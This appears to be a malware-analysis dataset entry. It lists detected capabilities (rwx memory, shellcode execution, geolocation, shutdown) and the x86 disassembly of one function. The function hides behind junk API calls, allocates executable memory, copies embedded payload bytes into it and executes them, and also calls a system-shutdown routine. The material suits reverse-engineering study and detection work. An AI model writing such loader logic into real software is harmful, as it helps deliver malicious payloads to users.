Function at 0x403e02
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040f6d0
cmp dword [0x4b6ca0], 0x5b1
push ebx
push esi
push edi
jne 0x403ebd
xor ebx, ebx
push ebx
lea eax, [ebp - 0x850]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea eax, [ebp - 0x50]
push eax
push 0x403698
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExW]
push ebx
push 0x4036ac
push 0x4036b8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
call fcn.00404224
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.00404a99
pop ecx
pop ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403aa1
fstp st(0)
lea esi, [ebp - 0x14]
call fcn.00403a60
mov ecx, esi
call fcn.00403a77
push ebx
call fcn.00404599
pop ecx
push ebx
call fcn.00404da2
add dword [0x4b6ca0], 0x1134b
push 0x4036ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x403708
push eax
mov dword [0x4b5bf4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x4b6ca0]
xor ebx, ebx
push ebx
mov dword [0x4b5bec], eax
call eax
xor esi, esi
mov dword [0x4b5bf0], eax
cmp dword [0x4b6ca0], ebx
jbe 0x403f46
cmp dword [0x4b6ca0], 0xa8
mov eax, dword [0x4b6ca4]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x4b5bf0]
mov byte [ecx + esi], al
jne 0x403f3d
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SetColorAdjustment]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
inc esi
cmp esi, dword [0x4b6ca0]
jb 0x403f09
xor esi, esi
mov eax, dword [0x4b6ca0]
add eax, esi
cmp eax, 0xe
jne 0x404015
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x1450]
push eax
push 0x403718
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
xor eax, eax
mov dword [ebp - 8], ebx
lea edi, [ebp - 4]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x450]
push eax
push 0x4037d4
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x403804
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x39621
jl 0x403f48
xor esi, esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp esi, 0x206d47
jg 0x40404a
inc esi
cmp esi, 0x4f6a4
jl 0x404024
mov esi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec esi
jne 0x40404f
call fcn.00403d69
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x26
jne 0x40407f
call fcn.00403de8
inc esi
cmp esi, 0x6753f
jl 0x40406e
push 0x7b
pop esi
cmp dword [0x4b6ca0], 0x86
jne 0x4040d8
push ebx
lea eax, [ebp - 0x1450]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebx
lea eax, [ebp - 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0x403820
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec esi
jne 0x40408b
call fcn.00403b1a
pop edi
pop esi
pop ebx
leave
ret